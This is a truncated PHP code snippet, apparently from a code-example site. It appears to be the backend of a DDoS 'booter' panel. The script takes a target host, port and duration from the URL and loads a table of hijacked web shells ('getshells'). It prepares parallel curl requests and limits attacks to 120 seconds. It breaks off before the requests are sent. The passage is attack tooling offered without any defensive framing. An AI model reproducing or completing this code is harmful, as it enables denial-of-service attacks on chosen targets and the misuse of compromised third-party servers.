Ejemplo n.º 1
-1
	var key=e.keyCode || e.which;
	if (key==13){
		getip();
	}
}
</script>
<?php 
    set_time_limit(10);
    ignore_user_abort(TRUE);
    include 'lib/EpiCurl.php';
    require "lib/ezSQLCore.php";
    require "lib/ezSQL.php";
    if (isset($_GET['host']) && isset($_GET['time']) && isset($_GET['port'])) {
        $SQL = new ezSQL_mysql();
        $SQL->connect(DB_USER, DB_PASS);
        $SQL->select(DB_DATABASE);
        $Query = "SELECT * FROM `getshells`";
        $AffectedRows = $SQL->query($Query);
        $host = $_GET['host'];
        $time = intval($_GET['time']);
        $port = intval($_GET['port']);
        $mc = EpiCurl::getInstance();
        $ch = array();
        if ($time >= 121) {
            die("<hr>You cannot issue attacks exceeding 120 seconds.");
        }
        if ($host == "") {
            die("<center><strong><font color=\"red\">Sorry, but you must fill in all fields.</font></center></strong>");
        }
        if ($time == "") {
            die("<center><strong><font color=\"red\">Sorry, but you must fill in all fields.</font></center></strong>");